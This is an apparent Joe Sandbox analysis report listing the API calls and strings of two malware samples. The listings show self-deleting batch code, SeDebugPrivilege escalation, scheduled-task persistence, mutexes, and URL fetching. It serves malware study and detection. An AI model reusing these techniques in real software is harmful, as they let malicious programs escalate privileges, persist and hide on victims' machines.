Part of subcall function 00B5185B: GetSystemTimeAsFileTime.KERNEL32(00B51F92,00000000,?,00000000,?,?,?,00B51F92,?,00000000,00000002), ref: 00B51867
Part of subcall function 00B5185B: srand.MSVCRT ref: 00B51878
Part of subcall function 00B5185B: rand.MSVCRT ref: 00B51880
Part of subcall function 00B5185B: srand.MSVCRT ref: 00B51890
Part of subcall function 00B5185B: rand.MSVCRT ref: 00B51894

wsprintfA.USER32 ref: 00B527C6
CopyFileA.KERNEL32(?,00B54C80,00000000), ref: 00B527D4
wsprintfA.USER32 ref: 00B527F4

Part of subcall function 00B51973: PathFileExistsA.SHLWAPI(00B54E5C,00000000,C:\Users\user\AppData\Local\Temp\VOsoyD.exe), ref: 00B51992
Part of subcall function 00B51973: CreateFileA.KERNEL32(00B54E5C,80000000,00000001,00000000,00000003,00000000,00000000,00000000), ref: 00B519BA
Part of subcall function 00B51973: Sleep.KERNEL32(00000064), ref: 00B519C6
Part of subcall function 00B51973: wsprintfA.USER32 ref: 00B519EC
Part of subcall function 00B51973: CopyFileA.KERNEL32(00B54E5C,?,00000000), ref: 00B51A00
Part of subcall function 00B51973: CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00B51A1E
Part of subcall function 00B51973: GetFileSize.KERNEL32(00B54E5C,00000000), ref: 00B51A2C
Part of subcall function 00B51973: VirtualAlloc.KERNEL32(00000000,00000000,00003000,00000004), ref: 00B51A46
Part of subcall function 00B51973: ReadFile.KERNEL32(00B54E5C,00B54E60,00000000,?,00000000), ref: 00B51A65

DeleteFileA.KERNEL32(?,?,00B54E54,00B54E58), ref: 00B5281A
CreateFileA.KERNEL32(?,C0000000,00000000,00000000,00000004,00000000,00000000,?,00B54E54,00B54E58), ref: 00B52832

Strings

%s\%s, xrefs: 00B527EE
%s%s, xrefs: 00B527A5
C:\Windows\system32, xrefs: 00B527E3
\WinRAR\Rar.exe, xrefs: 00B52793
c_31892.nls, xrefs: 00B527DE
%s%.8x.exe, xrefs: 00B527BB
C:\Users\user\AppData\Local\Temp\, xrefs: 00B527B6

Memory Dump Source

Source File: 00000001.00000002.2233445193.0000000000B51000.00000020.00000001.01000000.00000004.sdmp, Offset: 00B50000, based on PE: true

Associated: 00000001.00000002.2233396695.0000000000B50000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2233464632.0000000000B53000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2233488249.0000000000B54000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2233508761.0000000000B56000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_b50000_VOsoyD.jbxd

Similarity

API ID: File$wsprintf$Create$CopyPathTimememsetrandsrand$AllocDeleteExistsFolderReadSizeSleepSpecialSystemVirtual
String ID: %s%.8x.exe$%s%s$%s\%s$C:\Users\user\AppData\Local\Temp\$C:\Windows\system32$\WinRAR\Rar.exe$c_31892.nls
API String ID: 692489704-613076915
Opcode ID: ce4c3ff324b0b67420839cd4d321f21244f00dbb620cac6ce0a0209d7359a562
Instruction ID: 14f8d796dc444a06c8ebbd05be9225cb89a1379ebf53b14cdf10aa9932084c4b
Opcode Fuzzy Hash: ce4c3ff324b0b67420839cd4d321f21244f00dbb620cac6ce0a0209d7359a562
Instruction Fuzzy Hash: B32153B694031C7BEB10E7A49C89FDB73ECDB04B4AF4405E1BA44E3151E6709F888AA0

Function 00B51581 Relevance: 21.1, APIs: 7, Strings: 5, Instructions: 67filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 00B5185B: GetSystemTimeAsFileTime.KERNEL32(00B51F92,00000000,?,00000000,?,?,?,00B51F92,?,00000000,00000002), ref: 00B51867
Part of subcall function 00B5185B: srand.MSVCRT ref: 00B51878
Part of subcall function 00B5185B: rand.MSVCRT ref: 00B51880
Part of subcall function 00B5185B: srand.MSVCRT ref: 00B51890
Part of subcall function 00B5185B: rand.MSVCRT ref: 00B51894

wsprintfA.USER32 ref: 00B515AA
wsprintfA.USER32 ref: 00B515C6
lstrlen.KERNEL32(?), ref: 00B515D2
CreateFileA.KERNEL32(?,C0000000,00000000,00000000,00000002,00000000,00000000), ref: 00B515EE
WriteFile.KERNEL32(00000000,?,00000000,00000001,00000000), ref: 00B51609
CloseHandle.KERNEL32(00000000), ref: 00B51612
ShellExecuteA.SHELL32(00000000,open,?,00000000,00000000,00000000), ref: 00B5162D

Strings

open, xrefs: 00B51627
%s%.8x.bat, xrefs: 00B515A4
:DELFILEdel "%s"if exist "%s" goto :DELFILEdel "%s", xrefs: 00B515C0
C:\Users\user\AppData\Local\Temp\VOsoyD.exe, xrefs: 00B5158A, 00B515B3, 00B515B8, 00B515B9
C:\Users\user\AppData\Local\Temp\, xrefs: 00B51599

Memory Dump Source

Source File: 00000001.00000002.2233445193.0000000000B51000.00000020.00000001.01000000.00000004.sdmp, Offset: 00B50000, based on PE: true

Associated: 00000001.00000002.2233396695.0000000000B50000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2233464632.0000000000B53000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2233488249.0000000000B54000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2233508761.0000000000B56000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_b50000_VOsoyD.jbxd

Similarity

API ID: File$Timerandsrandwsprintf$CloseCreateExecuteHandleShellSystemWritelstrlen
String ID: %s%.8x.bat$:DELFILEdel "%s"if exist "%s" goto :DELFILEdel "%s"$C:\Users\user\AppData\Local\Temp\$C:\Users\user\AppData\Local\Temp\VOsoyD.exe$open
API String ID: 617340118-2561246020
Opcode ID: 0569120d1b7bdccf87ba1e7f7a8d3ebab20545795b3abeb0c7571301a25bef2b
Instruction ID: b10402fe7a3db76687894954994b0dfe7c8a687d493a4b56ba52d85c7421c0a7
Opcode Fuzzy Hash: 0569120d1b7bdccf87ba1e7f7a8d3ebab20545795b3abeb0c7571301a25bef2b
Instruction Fuzzy Hash: 081154729012287AD72097A59C89FEB7AECDF59B92F0404D1F949E3150DE749B88CBB0

Function 00B5120E Relevance: 19.3, APIs: 8, Strings: 3, Instructions: 93librarymemoryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(ntdll.dll,ZwQuerySystemInformation,00000104,?,?,?,?,00B51400), ref: 00B51226
GetProcAddress.KERNEL32(00000000), ref: 00B5122D
GetCurrentProcessId.KERNEL32(?,?,?,?,00B51400), ref: 00B5123F
OpenProcess.KERNEL32(00000400,00000000,00000000,?,?,?,?,00B51400), ref: 00B51250
VirtualFree.KERNEL32(00000000,00000000,00008000,?,C:\Users\user\AppData\Local\Temp\VOsoyD.exe,?,?,?,?,00B51400), ref: 00B5129E
VirtualAlloc.KERNEL32(00000000,00050000,00003000,00000004,00000001,?,C:\Users\user\AppData\Local\Temp\VOsoyD.exe,?,?,?,?,00B51400), ref: 00B512B0
CloseHandle.KERNEL32(?,?,C:\Users\user\AppData\Local\Temp\VOsoyD.exe,?,?,?,?,00B51400), ref: 00B512F5
VirtualFree.KERNEL32(00000000,00000000,00008000,?,?,?,00B51400), ref: 00B5130A

Strings

ntdll.dll, xrefs: 00B51219
C:\Users\user\AppData\Local\Temp\VOsoyD.exe, xrefs: 00B51262
ZwQuerySystemInformation, xrefs: 00B51212

Memory Dump Source

Source File: 00000001.00000002.2233445193.0000000000B51000.00000020.00000001.01000000.00000004.sdmp, Offset: 00B50000, based on PE: true

Associated: 00000001.00000002.2233396695.0000000000B50000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2233464632.0000000000B53000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2233488249.0000000000B54000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2233508761.0000000000B56000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_b50000_VOsoyD.jbxd

Similarity

API ID: Virtual$FreeHandleProcess$AddressAllocCloseCurrentModuleOpenProc
String ID: C:\Users\user\AppData\Local\Temp\VOsoyD.exe$ZwQuerySystemInformation$ntdll.dll
API String ID: 1500695312-60231972
Opcode ID: ea66a4563450c8e9059b8acfbeaaf3bf992da5d83446b5b9950a18d98844c73b
Instruction ID: f53a0158390baed532cb26a6acdd2c86587c43a518cadeda2df4afac0f58d3a5
Opcode Fuzzy Hash: ea66a4563450c8e9059b8acfbeaaf3bf992da5d83446b5b9950a18d98844c73b
Instruction Fuzzy Hash: 8221F571605351ABD7209B69CC08B6BBAE8FB85F42F040DD8FA45E7280CB71DA49C7A5

Function 00B52692 Relevance: 12.1, APIs: 8, Instructions: 64stringsynchronizationCOMMON

Download Yara Rule

APIs

CreateEventA.KERNEL32(00000000,00000000,00000001,00000000,7591E800,?,?,00B529DB,?,00000001), ref: 00B526A7
WaitForSingleObject.KERNEL32(00000000,000000FF,7591E800,?,?,00B529DB,?,00000001), ref: 00B526B5
lstrlen.KERNEL32(?), ref: 00B526C4
??2@YAPAXI@Z.MSVCRT ref: 00B526CE
lstrcpy.KERNEL32(00000004,?), ref: 00B526E3
lstrcpy.KERNEL32(?,00000004), ref: 00B5271F
??3@YAXPAX@Z.MSVCRT ref: 00B5272D
SetEvent.KERNEL32 ref: 00B5273C

Memory Dump Source

Source File: 00000001.00000002.2233445193.0000000000B51000.00000020.00000001.01000000.00000004.sdmp, Offset: 00B50000, based on PE: true

Associated: 00000001.00000002.2233396695.0000000000B50000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2233464632.0000000000B53000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2233488249.0000000000B54000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2233508761.0000000000B56000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_b50000_VOsoyD.jbxd

Similarity

API ID: Eventlstrcpy$??2@??3@CreateObjectSingleWaitlstrlen
String ID:
API String ID: 41106472-0
Opcode ID: f52893f554d1ef1c04b56d31524ff5c767660b139fe0224db209d5120b08fd3e
Instruction ID: de1195b1390054aba91248617892e50128e9bddc693d937a10ef1049829bebf3
Opcode Fuzzy Hash: f52893f554d1ef1c04b56d31524ff5c767660b139fe0224db209d5120b08fd3e
Instruction Fuzzy Hash: 90117C36501300AFCB22AF15EC48B6A7BF9FB9AB67B1440E5F85487260DB308D89DB50

Function 00B51B8A Relevance: 10.6, APIs: 5, Strings: 2, Instructions: 81stringCOMMON

Download Yara Rule

APIs

srand.MSVCRT ref: 00B51BCD
rand.MSVCRT ref: 00B51BD8
memset.MSVCRT ref: 00B51C43
memcpy.MSVCRT ref: 00B51C4F
lstrcat.KERNEL32(?,.exe), ref: 00B51C5D

Strings

RgIKRQBssJVxhFANqCYdxrjajLkOBsCOfAwCwVqDAkRzSMQqrHpoJZPQyPnGmmoicagKubvMMWBevtTueflYVWUJZEakLfSLDhpPIeOztbdcTwnTUipEXjIcSDUlXFhtgluyrYbmNdyioXzNHGKnGWHZEvxF, xrefs: 00B51B8A, 00B51B9C, 00B51C15, 00B51C49
.exe, xrefs: 00B51C57

Memory Dump Source

Source File: 00000001.00000002.2233445193.0000000000B51000.00000020.00000001.01000000.00000004.sdmp, Offset: 00B50000, based on PE: true

Associated: 00000001.00000002.2233396695.0000000000B50000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2233464632.0000000000B53000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2233488249.0000000000B54000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2233508761.0000000000B56000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_b50000_VOsoyD.jbxd

Similarity

API ID: lstrcatmemcpymemsetrandsrand
String ID: .exe$RgIKRQBssJVxhFANqCYdxrjajLkOBsCOfAwCwVqDAkRzSMQqrHpoJZPQyPnGmmoicagKubvMMWBevtTueflYVWUJZEakLfSLDhpPIeOztbdcTwnTUipEXjIcSDUlXFhtgluyrYbmNdyioXzNHGKnGWHZEvxF
API String ID: 122620767-3124019723
Opcode ID: 301559958d1b49be79a27b14386de8952fa1cab1fb5bdace02be438090a23304
Instruction ID: 852645498af85ed2283f5abc5019a77cb2f6465dcf46b7d39e4afd465a134d4b
Opcode Fuzzy Hash: 301559958d1b49be79a27b14386de8952fa1cab1fb5bdace02be438090a23304
Instruction Fuzzy Hash: D4213B32E453906EE226133E6C41B693BD4CFA3B27F1A44E9FD851B2E2D6640DCDC261

Function 00B5189D Relevance: 9.1, APIs: 6, Instructions: 51processsynchronizationCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00B518B1
CreateProcessA.KERNEL32(00000000,?,00000000,00000000,00000001,0C000000,00000000,00000000,?,?,000007D0,75920F00,75A78400), ref: 00B518D3
CloseHandle.KERNEL32(00B52549), ref: 00B518E9
WaitForSingleObject.KERNEL32(?,000000FF), ref: 00B518F0
GetExitCodeProcess.KERNEL32(?,00B52549), ref: 00B51901
CloseHandle.KERNEL32(?), ref: 00B5190A

Memory Dump Source

Source File: 00000001.00000002.2233445193.0000000000B51000.00000020.00000001.01000000.00000004.sdmp, Offset: 00B50000, based on PE: true

Associated: 00000001.00000002.2233396695.0000000000B50000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2233464632.0000000000B53000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2233488249.0000000000B54000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2233508761.0000000000B56000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_b50000_VOsoyD.jbxd

Similarity

API ID: CloseHandleProcess$CodeCreateExitObjectSingleWaitmemset
String ID:
API String ID: 876959470-0
Opcode ID: 39fab09375206131eafee9b32d12696b55d48a2b3fbaaaf9278d1958fedef133
Instruction ID: 133d8b92484eae835f048a6119fe3d2d2e8ce936a5a6f3161d83c3344a64c1b3
Opcode Fuzzy Hash: 39fab09375206131eafee9b32d12696b55d48a2b3fbaaaf9278d1958fedef133
Instruction Fuzzy Hash: 1C01B132901228BBCB216B95DC08FDFBFBDEF85761F004061FA15A21A0C6314A18CAA0

Function 00B5139F Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 109COMMON

Download Yara Rule

APIs

GetVersionExA.KERNEL32(?,?,00000104,C:\Users\user\AppData\Local\Temp\VOsoyD.exe), ref: 00B513BC
LookupPrivilegeValueA.ADVAPI32(00000000,SeDebugPrivilege,?), ref: 00B513DA
GetCurrentProcessId.KERNEL32(-00000094,0000000C,0000000C,00000001), ref: 00B51448

Part of subcall function 00B5119F: GetCurrentProcess.KERNEL32(C:\Users\user\AppData\Local\Temp\VOsoyD.exe,?,?,?,?,?,?,00B513EF), ref: 00B511AB
Part of subcall function 00B5119F: OpenProcessToken.ADVAPI32(00000000,00000028,00B513EF,?,?,?,?,?,?,00B513EF), ref: 00B511BB
Part of subcall function 00B5119F: AdjustTokenPrivileges.ADVAPI32(00B513EF,00000000,?,00000010,00000000,00000000), ref: 00B511EB
Part of subcall function 00B5119F: CloseHandle.KERNEL32(00B513EF), ref: 00B511FA
Part of subcall function 00B5119F: CloseHandle.KERNEL32(?,?,?,?,?,?,?,00B513EF), ref: 00B51203

Strings

C:\Users\user\AppData\Local\Temp\VOsoyD.exe, xrefs: 00B513A8
SeDebugPrivilege, xrefs: 00B513D3

Memory Dump Source

Source File: 00000001.00000002.2233445193.0000000000B51000.00000020.00000001.01000000.00000004.sdmp, Offset: 00B50000, based on PE: true

Associated: 00000001.00000002.2233396695.0000000000B50000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2233464632.0000000000B53000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2233488249.0000000000B54000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2233508761.0000000000B56000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_b50000_VOsoyD.jbxd

Similarity

API ID: Process$CloseCurrentHandleToken$AdjustLookupOpenPrivilegePrivilegesValueVersion
String ID: C:\Users\user\AppData\Local\Temp\VOsoyD.exe$SeDebugPrivilege
API String ID: 4123949106-2346058049
Opcode ID: 9a646c9b637a2a96155f07058a7f780b0114410ea7c3aa1676d9ee8a78f30bad
Instruction ID: 9be9ee02f6414c288f51815bfa249e5af825cf56b2eb9152af1ca68f2eeb55c2
Opcode Fuzzy Hash: 9a646c9b637a2a96155f07058a7f780b0114410ea7c3aa1676d9ee8a78f30bad
Instruction Fuzzy Hash: E9311071D40209AAEF209BA9CC55FEEBBF8EB44706F1445E9E904B2241D6709E49CF60

Function 00B51319 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 53libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(ntdll.dll,NtSystemDebugControl,-00000094,-00000094,0000000C,0000000C,00000001), ref: 00B51334
GetProcAddress.KERNEL32(00000000), ref: 00B5133B
memset.MSVCRT ref: 00B51359

Strings

ntdll.dll, xrefs: 00B5132F
NtSystemDebugControl, xrefs: 00B5132A

Memory Dump Source

Source File: 00000001.00000002.2233445193.0000000000B51000.00000020.00000001.01000000.00000004.sdmp, Offset: 00B50000, based on PE: true

Associated: 00000001.00000002.2233396695.0000000000B50000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2233464632.0000000000B53000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2233488249.0000000000B54000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2233508761.0000000000B56000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_b50000_VOsoyD.jbxd

Similarity

API ID: AddressHandleModuleProcmemset
String ID: NtSystemDebugControl$ntdll.dll
API String ID: 3137504439-2438149413
Opcode ID: 0200e3fd366be237fafd997fc77a7b094138f52312566d2e25082acb568cfcc7
Instruction ID: b0620fdfa69a00e54e3e9c06f6b762ee501e4adbbd38cf55a95fe781e5fce4c0
Opcode Fuzzy Hash: 0200e3fd366be237fafd997fc77a7b094138f52312566d2e25082acb568cfcc7
Instruction Fuzzy Hash: 0F01617160030DBFDB10DFA8AC85B6FBBE8FB41716F0045EAFD01A2150D7708659CA55

Function 00B51DF6 Relevance: 7.5, APIs: 5, Instructions: 45stringCOMMON

Download Yara Rule

APIs

strrchr.MSVCRT ref: 00B51E0B
lstrcpy.KERNEL32(?,00000001), ref: 00B51E1C
strrchr.MSVCRT ref: 00B51E2B
lstrcmpiA.KERNEL32(?,00B54488), ref: 00B51E48
lstrlen.KERNEL32(00B54488), ref: 00B51E53

Memory Dump Source

Source File: 00000001.00000002.2233445193.0000000000B51000.00000020.00000001.01000000.00000004.sdmp, Offset: 00B50000, based on PE: true

Associated: 00000001.00000002.2233396695.0000000000B50000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2233464632.0000000000B53000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2233488249.0000000000B54000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2233508761.0000000000B56000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_b50000_VOsoyD.jbxd

Similarity

API ID: strrchr$lstrcmpilstrcpylstrlen
String ID:
API String ID: 3636361484-0
Opcode ID: 5cf502b140049d2805811aa6c33730dfbd1fe70d63e1cc47247eb5e7f3f96188
Instruction ID: 4c3eb15befc3887ce3964301f86e14238228fc7f9d54779d4e444320b4540c8e
Opcode Fuzzy Hash: 5cf502b140049d2805811aa6c33730dfbd1fe70d63e1cc47247eb5e7f3f96188
Instruction Fuzzy Hash: 4201D6B29043196FEB215764EC49BD777DCDB04356F0404E6EE45E31D0EFB49A898BA0

Function 00B5185B Relevance: 7.5, APIs: 5, Instructions: 31timeCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32(00B51F92,00000000,?,00000000,?,?,?,00B51F92,?,00000000,00000002), ref: 00B51867
srand.MSVCRT ref: 00B51878
rand.MSVCRT ref: 00B51880
srand.MSVCRT ref: 00B51890
rand.MSVCRT ref: 00B51894

Memory Dump Source

Source File: 00000001.00000002.2233445193.0000000000B51000.00000020.00000001.01000000.00000004.sdmp, Offset: 00B50000, based on PE: true

Associated: 00000001.00000002.2233396695.0000000000B50000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2233464632.0000000000B53000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2233488249.0000000000B54000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2233508761.0000000000B56000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_b50000_VOsoyD.jbxd

Similarity

API ID: Timerandsrand$FileSystem
String ID:
API String ID: 4106363736-0
Opcode ID: 1690ac0c5ddd6fe17520225602ae27e5423afffa3b4fdac2012e764ea11db7b6
Instruction ID: a75f93de3875298d22115d15551af6a263d648909bd50545750087f98b4e367c
Opcode Fuzzy Hash: 1690ac0c5ddd6fe17520225602ae27e5423afffa3b4fdac2012e764ea11db7b6
Instruction Fuzzy Hash: A6E09277A10318BBD700A7A9EC46E9EBBECDE845A2B140566F600D3290E971E9448AB4

Analysis Process: F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exePID: 2568, Parent PID: 6984COMMON

Execution Graph

Execution Coverage:	2%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	34%
Total number of Nodes:	806
Total number of Limit Nodes:	91

Executed Functions

Function 00419F90 Relevance: 176.6, APIs: 65, Strings: 35, Instructions: 1565COMMON

Download Yara Rule

APIs

Part of subcall function 0040CF10: _memset.LIBCMT ref: 0040CF4A
Part of subcall function 0040CF10: InternetOpenW.WININET(Microsoft Internet Explorer,00000000,00000000,00000000,00000000), ref: 0040CF5F
Part of subcall function 0040CF10: InternetOpenUrlW.WININET(00000000,?,00000000,00000000,00000000,00000000), ref: 0040CFA6

GetCurrentProcess.KERNEL32 ref: 00419FC4
GetLastError.KERNEL32 ref: 00419FD2
SetPriorityClass.KERNEL32(00000000,00000080), ref: 00419FDA
GetLastError.KERNEL32 ref: 00419FE4
GetModuleFileNameW.KERNEL32(00000000,?,00000400,00000400,?,?,00000000,0069B680,?), ref: 0041A0BB
PathRemoveFileSpecW.SHLWAPI(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0041A0C2
GetCommandLineW.KERNEL32(?,?), ref: 0041A161

Part of subcall function 004124E0: CreateMutexA.KERNEL32(00000000,00000000,{1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}), ref: 004124FE
Part of subcall function 004124E0: GetLastError.KERNEL32 ref: 00412509
Part of subcall function 004124E0: CloseHandle.KERNEL32 ref: 0041251C

Strings

{1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}, xrefs: 0041A8A0
D:\Program Files\Internet Explorer\, xrefs: 0041B0CB
D:\Program Files\Mozilla Firefox\, xrefs: 0041B0A8
D:\Program Files (x86)\Google\, xrefs: 0041B085
IsNotTask, xrefs: 0041A654
C:\Program Files\Internet Explorer\, xrefs: 0041AF73
C:\Program Files\Google\, xrefs: 0041AFB9
C:\Windows\, xrefs: 0041AE0F
x*P, xrefs: 0041ACE4
C:\Program Files (x86)\Google\, xrefs: 0041AEE7
<, xrefs: 0041A67B
C:\Program Files\Mozilla Firefox\, xrefs: 0041AF2D
D:\Program Files (x86)\Internet Explorer\, xrefs: 0041B062
X1P, xrefs: 0041A485
{FBB4BCC6-05C7-4ADD-B67B-A98A697323C1}, xrefs: 0041A8B6
I:\5d2860c89d774.jpg, xrefs: 0041B32F
D:\Windows\, xrefs: 0041AFF3
C:\Program Files (x86)\Internet Explorer\, xrefs: 0041AEA1
%username%, xrefs: 0041B283
--ForNetRes, xrefs: 0041A22E
7P, xrefs: 0041B164
D:\Program Files\Google\, xrefs: 0041B0EE
x2Q, xrefs: 0041A856
IsNotAutoStart, xrefs: 0041A645
--Admin, xrefs: 0041A1B4, 0041A632
runas, xrefs: 0041A6CE
IsTask, xrefs: 0041A1EE, 0041A299
--Service, xrefs: 0041A30B
IsAutoStart, xrefs: 0041A1D0, 0041A273
--Task, xrefs: 0041A2CD
list<T> too long, xrefs: 0041B669, 0041B673
D:\Program Files (x86)\Mozilla Firefox\, xrefs: 0041B02E
--AutoStart, xrefs: 0041A2EC
F:\, xrefs: 0041B397
C:\Program Files (x86)\Mozilla Firefox\, xrefs: 0041AE5B

Memory Dump Source

Source File: 00000003.00000002.2060586302.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2060586302.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2060586302.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Yara matches

Similarity

API ID: ErrorLast$FileInternetOpen$ClassCloseCommandCreateCurrentHandleLineModuleMutexNamePathPriorityProcessRemoveSpec_memset
String ID: IsNotAutoStart$ IsNotTask$%username%$--Admin$--AutoStart$--ForNetRes$--Service$--Task$<$C:\Program Files (x86)\Google\$C:\Program Files (x86)\Internet Explorer\$C:\Program Files (x86)\Mozilla Firefox\$C:\Program Files\Google\$C:\Program Files\Internet Explorer\$C:\Program Files\Mozilla Firefox\$C:\Windows\$D:\Program Files (x86)\Google\$D:\Program Files (x86)\Internet Explorer\$D:\Program Files (x86)\Mozilla Firefox\$D:\Program Files\Google\$D:\Program Files\Internet Explorer\$D:\Program Files\Mozilla Firefox\$D:\Windows\$F:\$I:\5d2860c89d774.jpg$IsAutoStart$IsTask$X1P$list<T> too long$runas$x*P$x2Q${1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}${FBB4BCC6-05C7-4ADD-B67B-A98A697323C1}$7P
API String ID: 2957410896-3144399390
Opcode ID: 9b5c50d6294a18cf099b6c7e176b95353e3768e69417b8150bb4c582a319d2e0
Instruction ID: ef0c4ad91a93ebed44a25fa424fadbe3f4bc75453965ff7ad5f6b92dd0de7051
Opcode Fuzzy Hash: 9b5c50d6294a18cf099b6c7e176b95353e3768e69417b8150bb4c582a319d2e0
Instruction Fuzzy Hash: 99D2F670604341ABD710EF21D895BDF77E5BF94308F00492EF48587291EB78AA99CB9B

Function 0040D240 Relevance: 58.5, APIs: 25, Strings: 8, Instructions: 702
comCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoInitialize.OLE32(00000000), ref: 0040D26C
CoInitializeSecurity.OLE32(00000000,000000FF,00000000,00000000,00000006,00000003,00000000,00000000,00000000), ref: 0040D28F
CoCreateInstance.OLE32(004D506C,00000000,00000001,004D4FEC,?,?,00000000,000000FF), ref: 0040D2D5
VariantInit.OLEAUT32(?), ref: 0040D2F0
VariantInit.OLEAUT32(?), ref: 0040D309
VariantInit.OLEAUT32(?), ref: 0040D322
VariantInit.OLEAUT32(?), ref: 0040D33B
VariantClear.OLEAUT32(?), ref: 0040D397
VariantClear.OLEAUT32(?), ref: 0040D3A4
VariantClear.OLEAUT32(?), ref: 0040D3B1
VariantClear.OLEAUT32(?), ref: 0040D3C2
CoUninitialize.OLE32 ref: 0040D3D5

Strings

RegisterTaskDefinition. Err: %X, xrefs: 0040DA11
Time Trigger Task, xrefs: 0040D43C, 0040D973
PT5M, xrefs: 0040D5A1, 0040D66C
Trigger1, xrefs: 0040D6FA
--Task, xrefs: 0040D8DD
2030-05-02T08:00:00, xrefs: 0040D737
Author Name, xrefs: 0040D4C8
%Y-%m-%dT%H:%M:%S, xrefs: 0040D790

Memory Dump Source

Source File: 00000003.00000002.2060586302.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2060586302.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2060586302.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Yara matches

Similarity

API ID: Variant$ClearInit$Initialize$CreateInstanceSecurityUninitialize
String ID: %Y-%m-%dT%H:%M:%S$--Task$2030-05-02T08:00:00$Author Name$PT5M$RegisterTaskDefinition. Err: %X$Time Trigger Task$Trigger1
API String ID: 2496729271-1738591096
Opcode ID: e85d920e4c80818efeaee1da1ba528809e92032e84bc46f79e75b20126437919
Instruction ID: 4ad9c2e8017b41c765d67f99bb49247a0c13fc41f24acee5688789d455a97b09
Opcode Fuzzy Hash: e85d920e4c80818efeaee1da1ba528809e92032e84bc46f79e75b20126437919
Instruction Fuzzy Hash: 05526F70E00219DFDB10DFA8C858FAEBBB4EF49304F1481A9E505BB291DB74AD49CB95

Function 00411CD0 Relevance: 79.1, APIs: 36, Strings: 9, Instructions: 382
